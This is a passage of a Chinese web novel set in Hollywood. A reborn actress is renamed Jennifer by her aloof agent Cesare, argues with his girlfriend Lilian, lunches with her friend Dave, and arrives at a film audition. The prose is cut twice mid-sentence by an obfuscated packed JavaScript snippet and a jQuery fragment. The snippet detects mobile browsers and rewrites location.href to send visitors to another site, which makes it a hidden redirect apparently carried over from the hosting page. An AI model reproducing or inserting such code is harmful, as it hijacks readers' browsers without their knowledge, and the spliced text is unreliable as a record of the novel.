在影视圈,八卦消息一直都流传的很快,切萨雷来看珍妮演出时,棚里的剧组成员不多不少,很多重要角色都没在,但到了今晚,全剧组几乎没谁不知道珍妮被维杰里签走。而今晚,随着一个个电话的拨通,也有些消息快速地传到了一些和切萨雷有密切关系的人物耳中。 切萨雷的大多数男客户不过是一笑置之,又或者揶揄地给切萨雷发了短信,恭喜他又发掘到了一个将成大器的新人。而许多女客户,尤其是定位和珍妮相似的女演员,脸色就没那么好看了,她们做的第一件事就是冲上网络,寻找CIA的重播时间。——虽然现在珍妮弗.杰弗森不过是个无名小卒,但女演员的成名路要比男演员短一些,一个竞争对手的崛起,也就是一两部戏的事。 “珍妮弗.杰弗森。”挂了电话以后,一位美艳动人的金发碧眼儿喃喃自语,“又一个珍妮弗。” 她鲜红的指甲敲打着桌面,红唇也慢慢地勾了起来,“切萨是想对我证明什么吗?” “珍。”外头传来了喊叫声,“你在哪里?我们要走了。” 好莱坞新晋超级玉女红星珍妮弗.贝尔立刻露出开朗的笑容,起身疾步走向起居室。“你们该多坐一会,亲爱的,酒还没喝完呢。” 她的住处其实距离莉莉安家不远,就在比弗利山庄的中心处,从夜空俯视,整栋建筑就像是一块发光的宝石,里里外外灯火通明,许多衣冠楚楚的客人在豪宅中穿梭着,而随着女主人的出现,室内立刻又扬起了一片笑声。 # “太过分了。” 与此同时,本应该欢声笑语的莉莉安家却是气氛诡异,莉莉安对切萨雷擅自给珍妮改名的事义愤填膺,而找不出一个好理由的吉姆则是早早告辞离去,留下最应该生气的当事人珍妮,反过来还要安抚莉莉安的脾气。 连说都不说一声就改了她的名字,珍妮心里要说多舒服是不可能的,但也绝对没到勃然大怒的程度。她虽然吸收了珍妮的记忆,但整体还是以陈贞的性格为主,并不会多在意一个名字。既然知道是切萨雷的安排,而不是电视台太疏忽,也就没那么在乎了。倒是莉莉安对切萨雷独断专行的做法很不满,“明天我会给切萨打电话,让他和你道歉。” “我看没这必要吧,”珍妮吓了一跳,连忙说,“亲爱的,我很感谢你的关心,但这毕竟是我和维杰里的工作关系——” 东西方的文化习俗还是有很大差别的,西方这边,当面说‘不’并不会多影响两人的感情,而且相对来说人际关系要简单一些,没有那么多含含糊糊的潜台词。虽然莉莉安是好心为她说话,但听到珍妮的拒绝之意,她也没有生气,反而解释,“不,这不一样,如果是公事,比如角色试镜的分配,那我不会为你说话,但这事不一样,你不了解切萨,在这件事上,我认为你是被他的幼稚牵连了。贝尔的离开对他来说是种背叛,所以他要报复回来,要证明他能捧得起第二个珍妮弗,把她踩在脚底——这是他的决定,我不会多说什么,但他不能因为和贝尔的问题去改你的名字,这对你的人格是很大的侮辱。你不应该是他斗气的工具。” 哦,莉莉安…… 如果说珍妮一开始和她来往,还因为她算是自己的半个老板娘,那么现在她也是发自内心的把莉莉安当作自己的朋友了。莉莉安真的就是那种良好的家庭、良好的教育和良好的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274136|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资所养成的小孩,善良、独立,优秀得不像话,最重要的是,她是真正地相信世界本应美好而公正。 这样的人就像是个小太阳,浑身都是正能量,一直都在毫不吝惜地关照着身边的朋友。虽然她可能没珍妮漂亮,但珍妮可以毫不犹豫地承认,她比自己更有魅力,更像个天使。 “亲爱的,木已成舟,”她揽着莉莉安的肩膀,为她把杯中酒满上,“现在找切萨雷也未必能改变他的决定,反而会让他觉得我有挑拨你们关系的嫌疑,不是吗?他付钱让我来遛狗,只是体面地周济我,而不是让我来和你交朋友的。万一切萨雷以后不许我们来往该怎么办?” “我该和谁交朋友是我自己的事。”莉莉安本能地说,但在看到珍妮的表情后,她楞了一下,随后叹了口气。“好吧,但你和谁交朋友不是你能决定的……我明白了,我不会在电话里和他说的。不过等回来以后我还是要提出我的看法,你不能拦着我。” 见了面,双方交流的途径很多,不像是电话里那样容易产生误会。珍妮对此没什么异议,“没问题,不过,只是改名而已,珍妮、珍妮弗,不都是一回事吗?也许切萨雷是有意拿我的名字来刺激珍妮弗.贝尔,但这对我来说并没什么坏处。也许切萨雷是想让媒体开始比较两个珍妮弗呢,这还能抬升我的知名度,不是吗?” 莉莉安想了想,表情也有所松动,但依然是闷闷不乐。“好吧,但我还是对这个决定很不开心,切萨不该这样做,这是原则问题。” “你真是太好了。真的,你对我太好了。”珍妮忍不住浅浅拥抱她一下,又举起酒杯,“来,让我们忘掉这些事,庆祝一下今晚的剧集。” 莉莉安和她碰了碰杯子,也露出笑脸,“你的表现真是太棒了,相信我,你一定会成功的!” 经过刚才的风波,两个女孩的关系有所拉近,起码珍妮,已经是在心里把莉莉安当成了闺蜜,喝了几口酒以后,两个人开始天南地北地瞎聊,珍妮也在酒精的麻痹下稍微敞开心扉,“莉儿(Lil),其实我一直很好奇,你为什么对我这么好?我是说,我年轻、漂亮,又是维杰里的艺人,而且他也对我不错,明显是施舍意味地给我这份工作,给我车开。一般来说,男朋友对另一个女人这么好,即使明知道没什么,女朋友心里也——” “噢。”莉莉安笑了,“这没什么,当然,不是切萨的每个艺人都是我的朋友,但我觉得你很好啊,敬业、认真,人也很友善,更重要是我们也很投缘,我不是因为你是切萨的艺人才和你交朋友,他不过是我们俩认识的途径而已。” “但那也是你熟悉我以后才会发现的特质,不是吗?”珍妮是真的很好奇,“可你从第一次见面就对我很友善了。” “对,因为我没有你想的那些担心。”莉莉安坦然承认,“你是很漂亮,不过切萨不会和你有什么的。” 珍妮点了点头,没有说什么,莉莉安倒是笑了,“噢!别这样,我不是因为信任他对我的爱,我没那么天真,我们的爱也没到那个地步。看在上帝份上,这里是好莱坞,有什么爱情能够经得住所有考验?我之所以毫不担心,是因为我了解切萨,他不会碰自己的艺人,也不会和他们建立什么私人联系——那样就不专业了,而对切萨来说,专业态度就是一切。” 她呷了一口酒,放松地爆了个大料,“不然,你以为珍妮弗.贝尔为什么要离开他?” 原来……! 不过这样也是说得通了,否则以切萨雷的业界人脉,还远远没站稳一线的珍妮弗.贝尔实在没理由和他闹翻。 没有女人是不八卦的,珍妮对于自己未来的竞争对手当然也很有兴趣,她想要继续深八,不过实在不巧,手机却在此时响了起来。莉莉安把它递给珍妮,“这么晚了,谁的电话?” “是一个好朋友。”珍妮看了看手机屏幕,对莉莉安做了个‘暂时离开’的手势,便走到露台上去,接起了电话。“嗨,戴夫!” “恭喜你,珍妮。”戴夫的态度已经回到了平常的热络,仿佛两人从一开始就只是单纯的好朋友。“恭喜你,刚才林奇找我,说有很多人给他打电话……” 23. 改名内..幕 在她邀约失败以后,两人这还是第一次联系,说实话,珍妮听到戴夫的声音,还是松了口气的。虽然现在有了切萨雷,但他是那样的性格不说,而且签了珍妮以后就一直在外地,之前在欧洲,911后飞回国内,一直在协调他手上几个大客户出国拍摄的事情——现在美国公民是人人自危,许多剧组都对国外拍摄非常反感,珍妮听莉莉安说,切萨雷很可能要陪着他手上的一线小生克里斯托弗.汉克斯去以色列拍摄外景。 虽然他明显没忘记珍妮,还是给她安排了《底特律》的试镜,但短期内两人应该是没什么见面的机会,珍妮也不指望他坐下来和她说些好莱坞的规矩。至于吉姆,他虽然有点切萨雷助理的意思,但归根到底也是个经纪人,手里签了几个电视明星,平时也不是那么有空的。再说在他和戴夫之间,珍妮肯定还是更亲近戴夫。 总之,现在刚入圈,身边能有戴夫这么个朋友,珍妮是很开心的。她对于‘很多人给林奇打电话’倒是不感兴趣,更关心的是戴夫在纽约的亲人朋友,“你的家人朋友在之前的事故里都没事吧?我想给你打电话的,可是……” “都没问题,你知道我爸妈住在科罗拉多,距离纽约十万八千里,”戴夫说,“朋友们也都好——我们真的很幸运。” 珍妮认识的所有人也都没什么社会关系在纽约,只有莉莉安一个拐着弯的亲戚当天在双子塔里,不过也逃出来了。但这件事对于美国的影响之大,只有身处其中才能感觉得到,前世的这个时候,911对于陈贞来说就是一条新闻而已,顶多关系到她老公家的一部分生意。现在她生活在美国,就能感觉得到911对于国民情绪甚至是国民经济的全方位影响。 聊了几句911以后的业界动态,珍妮又发出邀请,“说真的,我们应该找时间吃个饭,戴夫,你明天有空吗?” “没问题,我明晚有约,我们可以一起吃午饭。”戴夫爽快地说。 “午饭?”珍妮一怔:看来,戴夫这么快找她,应该也是找到新的约会对象了,心理上有了支撑。 她当然只有高兴的份,这样一来,两人就真的能做回朋友了。“没问题,那我们约在哪里?” 这一次戴夫找的地点,档次距离‘吃干抹净’就有段距离了,是间中档的意大利饭店,很多上班族都在这里吃商业午餐的那种。珍妮在街对面找到停车位,跑过去的时候他已经到了,而且因为座位就在窗边的关系,她一落座,戴夫就指了指窗外的豪车,夸张地扬了扬眉毛。 “这是维杰里借给我开的。”珍妮说,“他现在人在外地,再加上我又是他的奴才,所以就直接把车借给我了。” 在洛杉矶,没车是很少见的,当地公众交通不发达,没有车去哪里都不方便。但原主珍妮之前的经济状况不适合她买车,正好工作地点距离住处又近,没车的不便之处也不多,真正的珍妮一直想在收到第一个面试通知的时候给自己买一辆车作为礼物,但……一年多了连一个面试通知都没收到。 这一点戴夫也是了解的,他笑着说,“没事,明年的这个时候,你就会开着属于自己的豪车了。” “借你吉言吧,现在来看我还是在争取配角的阶段。”珍妮说。 “那是因为电视剧昨天才上,”戴夫宽慰她,他对珍妮的未来倒是比她自己还有信心,“真的,相信我,你腾飞的日子就在不远的将来了。能在你当女招待的时候认识你,是我的幸运。” “不,能在我当女招待的时候认识你,是我的幸运。”珍妮纠正他,“以后我当大明星的话,别人采访我问我怎么入行,我会说因为我够幸运,认识了一个很好的朋友戴夫.简森,没他的话,我到现在都还是个女招待。” “珍妮。”戴夫露出感动之色,他开了个玩笑,“那我就要和我将来的孙子说:听着,你们别不相信,当珍妮弗.杰弗森还是女招待的时候,我们甚至还试着约会过几次!” 两人都笑了起来。 这一次见面很愉快,几乎是没有任何障碍的,他们两人就顺利地转成了朋友的相处模式,戴夫和她说了一些《底特律》导演杰斯.马修的传闻,“我和他见过好几面,你知道,这是他的第一部电影,在此之前他一直在戏剧界混,偶尔也帮着电视剧做些舞蹈设计编导的工作。我在百老汇有好几个朋友,他算是朋友的朋友。杰斯是个舞蹈狂人,他对于色彩光影的美学把握,在业界是数一数二的。不过我很好奇,他居然会接受你进入试镜,要知道他毕竟是百老汇出身,我还以为这部戏的配角会大量采用百老汇的熟面孔,那些演员可都是能唱能跳,又能演戏。” 他又补充了一句,“呃,当然,我不是说你不能——” “没事。”珍妮说,“我明白我和百老汇常驻演员的差距。” 这是真话,对这个角色,珍妮并不是那么有把握。虽然最后杰斯选择的张美青也不是专业音乐剧演员,但她毕竟有名气也有演技,这不像是华妮塔,不过是个无足轻重的一集客串,根本不会有第二个有力的竞争者。 “我听说张美青(LucyZhang)也进入了面试。”她主动说明,“所以对这一次的试镜,我没抱太大希望。” “哦,那也是个大美女。”戴夫想了想,“不要紧,珍妮,我不会骗你说你一定能拿到这个角色,在好莱坞,任何一个好角色都会有很激烈的竞争。即使是天后级演员也都会有想要却得不到的角色,但我能告诉你,在好莱坞,好机会也永远都不止一个,即使你得不到这个角色,只要你在试镜里让试镜官印象足够深刻,说不定还会有更好的机会等着你。” “是的,放心吧戴夫,我不会被吓倒的。”珍妮也笑了起来,“目前只是一个女三号而已,这就吓跑的话,女一号怎么办?” 戴夫冲她举起杯子,“为了这句话,今天中午我来买单。” “没有这句话也准备赖你买单,”珍妮和他碰了碰杯子,“TVS的支票还没寄来,维杰里没回来,也没结工资给我,我现在比当女招待的时候还要穷困。” 两人转而谈论切萨雷.维杰里。 “业界很少有人不知道他,”戴夫说,“不是说他的业务有好到那么疯狂,但是他实在长得太帅了。坊间疯传珍妮弗.贝尔之所以和他‘分手’,就是因为她男友终于受不了她的经纪人比自己更英俊。当然,他的业务也并不差,很多人把他叫做CCA的王太子,据说他是CCA下任CEO的有力候选人。等到伊诺.马丁无心再战江湖的时候,就会把衣钵交到他身上。所以你能被他签下是很难得的,除了珍妮弗.贝尔以外,他手上的艺人起码都在C-list里有一席之地。” 好莱坞的超A-list和A-list人数十分稀少,而且其中有很多是拥有自己的经纪公司,像是珍妮弗.贝尔,之前都是B-list艺人,要不是去年连续主演了两部大制作,也不会升级到A-list,但因为《珍珠港》在票房上的滑铁卢,她的A咖位置也是岌岌可危,有跌落回B咖的可能。当然,电影圈的B咖在普通人里也是超级大富豪了。 “维杰里一手发掘了贝尔,当时她还是个大学生,他让她在五年内成为A-list,”戴夫郑重地对珍妮说,“当时他自己也只是个在邮件收发室打工的实习生,连大学都没毕业。在比弗利山庄,这曾经是一段佳话,他挖掘了她,她也成就了他,让他在五年内就扶摇直上成为了CCA的资深经纪人。他们的分手一度让业界以为维杰里在CCA的地位将会岌岌可危。现在他又签下了籍籍无名的你,而且你又恰好也叫珍妮弗……所以这一切应该让你知道,在你和贝尔见面的时候,你要小心再小心。” 戴夫从来都不惮警告她好莱坞的黑暗之处,也许曾经有吓阻她往演艺界发展的意思,但现在就纯粹是对朋友的关心了,珍妮猜想,这是因为他知道她无法回头也不会回头。“是的,吉姆也和我说了一些贝尔的事,不过我想我们见面的机会应该不是很多,听说贝尔下个月就要去英国拍片了。” “唔。”戴夫对于切萨雷的消息也就知道这些了,他又提起了《底特律》。“杰斯是第一次当电影导演,这部片子阵容也很强大,投资也不低,我想他在片场的话语权不会那么高,在面试的时候你要注意,除了导演以外,制片人也是你需要征服的对象——哦,不过我这是白担心,我想维杰里既然会破例签下你,肯定会对你的未来有全盘打算的。起码你不需要害怕别人走制片人路线,把你给顶下去。” 珍妮忍不住扮了个鬼脸,“说实话,我该信任他的专业水平,不过……” 想到切萨雷.维杰里那冷淡的表情和公事公办的态度,珍妮苦笑着总结了一句,“也许信任的建立是需要时间的。” # “你怎么会在这里?” 切萨雷对她的第一句话显然对于建立两人的信任关系毫无帮助。 “你的第二句话是不是我的车钥匙怎么在你手里?”珍妮忍不住翻了个白眼,“维杰里先生,你聘了我来你们家遛狗,还记得吗?” 在课程的间隙中,她还是每天来溜华盛顿两次,今天下午没课,刚好和戴夫吃完饭,时间也差不多,她便回来遛狗。结果一进门就发现切萨雷赤着上身从地下室上来——地下层是健身房所在地——金发微乱,而且不能不让人注意到他的身材超级好……好到用几千字来形容都不足够。还有,他的胸毛也是淡金色的—— 然后他看到她就来了这么一句话。 也许她该感谢他起码还记得她,珍妮带了几分自嘲地想。 “哦,对,华盛顿。”切萨雷翻过手腕看了看表,“那么你迟到了,华盛顿每天溜两次,中午这一次应该在十五分钟前出发。” “堵车。”珍妮没好气地说,“如果你不介意的话,我现在要去履行职责了,大人(MyLord)。” 她去自己房里拿了防晒衣和防晒伞,牵了华盛顿在社区内溜达了半个多小时,在加州的烈日下也是一身大汗,遛狗回来以后,她发现莉莉安的车停在车道上,便从后门进去,把华盛顿关好,自己从小楼梯回了二楼的客房,洗过澡换了衣服,这才走到起居室看电视。 “你怎么还在这里?” 半个小时后,切萨雷出现在起居室里,他看起来——很可疑的——也是刚洗过澡,考虑到他健身完毕已经是一个来小时以前的事了…… 陈贞其实也不是故意关心这些的,但她对这些事几乎是本能地留心,也算是少夫人生活留下的后遗症。 “我住在这里。”她挥开无谓的推理,“你又忘了吗?一开始是我的公寓空调系统检修,后来她说从这边去上课方便,遛狗也方便,再加上她一个人住寂寞,然后她说你——” 她看着切萨雷的表情,“算了,没事,我今晚遛完狗就搬回去。” 切萨雷寒冰般的面容松懈了一点,“很好。” 他在小沙发上坐了下来,“你在看什么?” “探索发现频道。”珍妮说,“你知道鲸鱼实际上可以憋气好几天吗?” “不知道。”切萨雷的语调礼貌地表示他不知道,也并无兴趣知道如此乏味的知识。 他们谁也没说话,默默地看了十几分钟电视,然后切萨雷说,“杰弗森,相信你明白,我不希望你住在这里,是因为我不愿意把私生活和工作混为一谈,公私之间要界限分明。” “我明白。”珍妮说,“事实上我一开始也没打算住在这里,因为我觉得你不会赞成——” “不会赞成什么?”莉莉安赤着脚从楼梯上跑下来,“嗨,珍,嗨,亲爱的。” 她在切萨雷的沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274137|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发扶手上落座,给了他一个轻吻,切萨雷的表情有少少融化,他仰起头对莉莉安微微一笑,“我们在说杰弗森今晚要搬回去的事。” “为什么?”莉莉安吃惊地说,“我不是和你说过这件事吗?切萨,你当时答应了呀。” 切萨雷的表情有少许凝固,珍妮感到尴尬,她开始寻找离开的时机。不过莉莉安对她伸出手,“你坐,亲爱的——现在,切萨,我们得好好谈谈了,我记得清清楚楚,在珍搬进来那天晚上我和你说过这件事,你说可以——我是说,我们谈过多少次这个问题?当我和你说话的时候,我需要你专心听,而不是心不在焉地忙什么公事,看什么剧本和企划——” 切萨雷很有针对性地看了珍妮一眼,珍妮想要走,但莉莉安已经离开了扶手坐到珍妮身边,“你哪里都不要去,亲爱的,我也不许你搬走,这房子里必须要有一个人在真心听我说话。” 大部分时候,她友好得会让人忘记她的出身,但现在莉莉安开始发脾气的时候,那股天之娇女的劲儿就出来了,珍妮说,“莉儿——” 切萨雷同时说,“莉莉,这和我们之间的问题没有关系,如果你——” 但莉莉安谁也没理会,而是继续说,“还有珍妮的名字,我真不敢相信!第二个珍妮弗,你就只为了这个噱头居然改了她的名字,你是为了气贝尔吗?可珍妮不是你斗气的工具,切萨,你总是这样,这真的是个问题,我们也谈过很多次了,你真的不能这么随心所欲地摆布别人,就为了自己高兴。” 真他.妈尴尬…… 珍妮无奈地看着切萨雷,试图用眼神表达出自己的无辜:说真的,她对改名的确有点膈应,但也只是有点而已。但是莉莉安现在的做法,搞得她也很难为自己辩解什么,如果切萨雷稍微糊涂一点的话,说不定立刻就会迁怒过来了。 切萨雷闭上眼拧了拧鼻梁,出乎意料,他居然没有发火,甚至看不出多少不快。 “首先我们来说说改名的事。”他说,还是那么的公事公办、客观冷静,“是的,改名是我的决定,理由很简单,珍妮,你原本的名字太随意了,这也许是我的偏见,但我认为只有文化层次很低的父母才会给女儿起名叫做珍妮(Jenny)而不是珍妮弗(Jennifer),当然,以后所有人都会叫你珍(Jen)、珍妮(Jenny),珍宁(Jennie),这无所谓,但你的大名必须是珍妮弗,否则你身上的底层标签永远也洗脱不掉。人们会想:哪个父母给女儿起的大名就是珍妮?然后他们会发现:哦,对,她的父母的确就是这么不像话。” 莉莉安张开口,切萨雷冲她竖起指头,“不要和我说特例,我们在说人们的普遍心理,莉莉,普通群众就是这么势利而鄙俗。” “OK!”莉莉安做了个不满的表情,“这又是一个需要解决的矛盾认知。” “另外关于珍妮不能住在这里,”切萨雷仿佛完全没听到她的话,他继续说,“我知道你和她很投缘,莉莉,如果你经常邀她到家里做客,这没问题,我知道我出差的时候你总是很寂寞,但住在一起会模糊我和她的关系界限——当然,你不用说,我知道你的意思,你觉得我足够专业,而且杰弗森也很专业,而且我外出时间很多,而且这只不过是个过度,等到她事业突破以后很快也会在比弗利山庄有自己的一席之地。当然这些都有道理,但好莱坞狗仔队不会这么想,我向你保证这种新闻会出现得很快:珍妮弗.贝尔的前经纪人签下同名新秀,两人业已同居,据悉该经纪人已有女友,现在三人同住,关系暧昧。——杰弗森需要曝光,但这样的新闻只能适得其反。” 莉莉安叹了口气,珍妮也随之如释重负地长出一口气,她不失时机地附和,“当然我也不想被卷进这样的麻烦里。” “所以我们没问题了?”切萨雷盯着莉莉安,他的语调温柔下来。 “好吧。”莉莉安妥协了,但明显情绪不高,她的语调略带嘲讽,“这显然是又一次的,‘哦世界就是这样丑恶你根本什么也不懂’的演讲,我明白了,你永远都有道理。” 不论中西,不讲理都是女孩子的特权,珍妮知道她该走了——不论切萨雷会如何处理现在的局面,她都没兴趣留下来旁观。 “我上楼打包行李。”她说,切萨雷和莉莉安都没阻止她。 当她走到楼门口时,切萨雷叫住她。“杰弗森,我记得你的试镜在三天后?” “是的,三天后十一点半。”珍妮说,“哦,对了,如果你要把你的车拿回去的话,我可以——” 切萨雷根本没理会她说的琐事,他直直地看着珍妮,双眼如冰湖,蔚蓝、寒冷而剔透,“我听说你准备得不错。” “我已经尽力而为了。”珍妮耸耸肩,按捺下抬起下巴和切萨雷气势抗衡的冲动。 “很好。”切萨雷安静地说,“这是个很好的机会,而我不喜欢浪费,你也没有错过的本钱。拿下它,我不允许你失败。” 珍妮忽然想起戴夫在几小时前说的话,“在好莱坞,一次试镜失败不算什么,可能反而会给你带来更多机会”。 也许好莱坞的确如此行事,不过在切萨雷.维杰里这里,游戏显然遵循另一个规则。他和她在玩的是另一个严苛得多的游戏。 “我会尽力而为。”珍妮说,忽然间她很感谢自己有戴夫和莉莉安这两个朋友。——戴夫在说林奇接到的电话,莉莉安昨晚到现在一直和她唠叨IMDB上她那个小小的粉丝俱乐部,但对切萨雷来说,这一切显然毫无意义,他甚至不会和她说说他接到了多少询问她的来电,也不会夸奖她在昨晚剧集中的表现。 她真的很好奇珍妮弗.贝尔怎么还能看上他——珍妮甚至无法想像莉莉安怎么会和他在一起。 切萨雷.维杰里简直就是台机器。 24. 遇挫 切萨雷-莉莉安组成的临时家庭有好几辆车,而珍妮虽然拿到了自己的工资以及TVS寄来的支票,但她这几天的行程忙得没空去买自己的车。切萨雷便暂时把自己的奥迪A6继续给她开,他则开着自己的布加迪威龙上下班通勤。莉莉安更是直接告诉她,如果最近她的经济还是比较紧张的话,她也有一辆多余的车可以长期借给她开。 珍妮对此是持婉拒态度,她在这方面还是秉持中国人的态度,所谓救急不救穷。一两个月的过度可以,长期借别人的车开那就有点没分寸了,虽然莉莉安并不在乎,但她得分清楚,不然切萨雷那边,她也抬不起头来。 不论是中国还是美国,像切萨雷这样的经纪人,和手底下艺人见面的机会其实是不多的。当然如果他愿意,那么天天让珍妮去公司找他也没什么不可以的,但一般情况下,大家更多的都是通过电话联系。经纪人联系到工作机会以后电话告知艺人,然后之后工作中的琐事就不归他管了。在中国可能还会有助理陪着去试镜,帮着打点生活起居之类的事情,但在好莱坞这一套不是很行得通。 你的豪宅里雇几个管家,收留几个朋友做你的小伙伴,那都是你的事,但在工作上不会出现由公司为你准备一切的现象,一般来说出席重要活动的时候会有人带着,但平时拍戏什么的,那就是都由你自己出马了。你要司机,要助理,要保镖,要专门为你负责一切的专属经理人,可以,你自己出钱。如果是专属经理人的话,一般还会从你的酬劳里抽成10%,以此作为服务的代价。 像是切萨雷这等级的资深高级经纪人,按照CCA的制度,和别人交叉带着很多国际巨星,他有多忙碌是可想而知的,如果不是吉姆时不时会和珍妮联络一下,告诉她切萨雷正在过滤因为CIA亮相而来的许多试镜邀约,珍妮几乎都要以为切萨雷已经把她给忘了。反正从切萨雷回来那天两人见面以后,到现在一周多了,她是完全没听到切萨雷的一点音信,即使每天都要去切萨雷家遛狗,没和他碰过面。切萨雷几乎很少在晚上十二点以前到家。 按照吉姆的说法,邀约虽然多,但能让切萨雷满意的却很少,所以目前她能指望的还是只有《底特律》的试镜。这试镜因为911的关系,已经推迟了一个多月,本来是初定10月初的,但临试镜前一天珍妮又接到通知,直接推到十月中旬了。 如果珍妮通过试镜的话,她这会儿都应该进组开始接受歌舞训练了,所以公司安排的课程前段时间也纷纷结束,她甚至考虑是不是该多接几单遛狗的工作,美国人工贵,华盛顿这样的大狗,按市价的话,如果是一对一,遛狗半小时就是25美元,一小时50美元,她早晚溜两次华盛顿就有100美元入账,一个月3000妥妥儿,而且因为不从属于公司,也不需要上税。——当然切萨雷给她多开了几百刀,但珍妮明白行情以后,对这份工资拿得也没那么心虚了。 如果每天再多两次遛狗,一对多来遛的话……哇,她比在餐厅当服务生还赚啊,而且又能散步锻炼身体,真是一举两得。 IMDB上已经有了她的页面,但很多信息都很非常简陋,留言板上陆陆续续也有了几百条发言,都猜这个珍妮弗是不是欧洲那边的影星过来客串的,因为她的‘气质非常古典’,总之就是把珍妮猜得很高大上,珍妮有时候看着留言都有苦笑的心思了:她的粉丝把她猜得多牛啊?如果知道她现在还想往专业遛狗人发展的话,他们会不会大跌眼镜? 不过,即使现在她有点两头不落地,但珍妮也没想过质问切萨雷什么,《CIA》虽然是一个很好的亮相机会,但要说因为这一次演出就吸引来很好的机会,那也是太想当然了点。这种公共台电视剧,本身的水平大概都是固定的,也许她的加入会让电视剧耀眼一些,但不可能会让剧集本身脱胎换骨,该是那样就还是那样,这种程度的精彩也吸引不了大导演、大制片方的关注,现在会来找她的应该多数都是小制作的配角,或者更干脆点,直接就是制作带有情色意味的B级片、R级片,这倒是有可能让她去当主角的。毕竟她不但漂亮,而且演出时候气质还带了老牌影星的性.感诱惑,又是新人,价钱便宜,自然而然就会吸引有相关需求的小片商——这也就是切萨雷当时和她说的意思,‘如果你只有这种演技的话,只能往类型演员发展’。 对于一个目标是制霸好莱坞的人来说,这些机会唯一的意义就是浪费她的时间,如果她愿意用性.感换钱,多得是办法去赚,拍这种片只是最低级的手段,就算切萨雷让她去演,珍妮也不屑一顾。当然,她现在也只能信任切萨雷没有联系她,是因为机会都不够好,而不是打电话给切萨雷问七问八。 信任的建立是一个漫长的过程,而率先表现出更多诚意的肯定必须是她。 课程结束以后,试镜又还没开始,珍妮有了闲空,就拉着吉姆和她一起,花四千多美元买了一部车况很不错的大众帕萨特,98年出厂,里程数也不高。在美国,车便宜,油价也不高,整个汽车业是要比中国发达许多的,就是二手车还是和中国一样,得会淘,不然也挺容易被车商忽悠。 好在吉姆挺懂车,两人跑了几处,顺利地就挑好了车办了手续,珍妮要请吉姆吃饭感谢他,吉姆摆手说,“算了,在你得到第一个主角以前,还是我请你吧。” 他呵呵笑,“不过我还以为你会找戴夫帮忙。” 珍妮摇了摇头,“过一段时间吧,希望你别笑话我过河拆桥。” “你要是现在还和他往来甚密我才会笑话你。”吉姆倒是不以为然,“现在这样反而是为了他好——不过珍妮,不得不说我很佩服你。” “佩服我什么?”珍妮签了支票给车商。 “一般来说,年轻的美女在感情生活里总是烂事一堆。”吉姆和她一道走出门外,“尤其你现在还在蛰伏期,虽然切萨不许你恋爱,不过我以为你会一直吊着戴夫,给自己找点安全感。” “这么做会不会有点太贱了啊?”珍妮笑了。 “在这点上,好莱坞女明星几乎都是Bitch,”吉姆说,“人们简直都已经习以为常了,这件事最后即使传扬出去,大部分人也都只是会嘲笑戴夫癞蛤蟆想吃天鹅肉而已,因为美女和名人就是有这种特权。在好莱坞,美丽和名气是最硬的通货,没权没势的中年男人则是最弱的弱势群体,可以随便践踏。” 珍妮做了个鬼脸,对此不予置评,她转移了话题,“我现在要想的是下一个试镜什么时候来,而不是找个人当我的安全毯。” “你就不想想明天的《底特律》?”吉姆感兴趣地问着。 “对《底特律》我其实没抱太大的希望,”珍妮皱了皱眉,“这毕竟是部帕克的电影,而我还只是无名小卒。” “好好表现就行了。”吉姆意味深长地说,“只要你足够好,别的事,切萨会为你解决的。” # 和《CIA》比起来,《底特律》的试镜档次就要高得多了。如珍妮预计,她在试镜场地果然遇到了露西.刘,除此以外,还有好几个颇为眼熟的面孔,大约都是二线、三线的小影星,虽然在2014年,没什么人记得她们的名字,但现在,她们每个人的知名度都要比珍妮高,而咖位最大的当然是刚刚主演过《霹雳娇娃(查理的天使)》的露西.刘。《霹雳娇娃》投资靠近一亿,全球票房两亿多,露西.刘可是主演之一。 既然多少都在圈里有一定名气,那彼此认识的人就多了,大部分演员都在彼此亲密地打招呼——虽然现在是竞争对手,但不过是个几分钟的小角色,还不至于到彼此明争暗斗的地步。毕竟大部分人都还是看在帕克以及原作音乐剧的名气上过来试镜的,这虽然是大制作,但导演杰斯.马修以前从来没导演过电影,甚至连电视剧都没有导过,很多人对于影片成品的质量自然也就心存疑虑。 观察了一圈以后,珍妮放心了不少。初步来看,对这角色志在必得的也就只有她一个人而已。 作为生面孔,她当然被小圈子排挤在外,而露西.刘也当仁不让地成为了交际的中心点:她不但有《霹雳娇娃》这个系列商业片,而且和昆汀.塔伦蒂诺这个大导演也有合作,目前好莱坞的亚裔面孔里就数她风头最盛了。就是珍妮也好奇地多看了她好几眼,不过并没有过去搭讪。作为一个nobody,她还是很有眼色和自觉的。 试镜顺序是按姓氏字母,倒是没什么别的花头,珍妮拿了杯水坐着,也没和别人搭讪,只是默默重温《底特律》成片的细节,不过没用什么心思,这几个月她要准备的就这一个试镜,当然早就研究得非常透彻,已经完全准备好试镜的思路了。 “你是珍妮弗.杰弗森吧?”试镜开始后不久,居然主动有人过来和她搭讪,“我可以坐在这里吗?” 之前坐她身边的女孩已经进去试镜了,珍妮一抬头,“当然可以了,很荣幸认识你,我非常喜欢你的《霹雳娇娃》。” 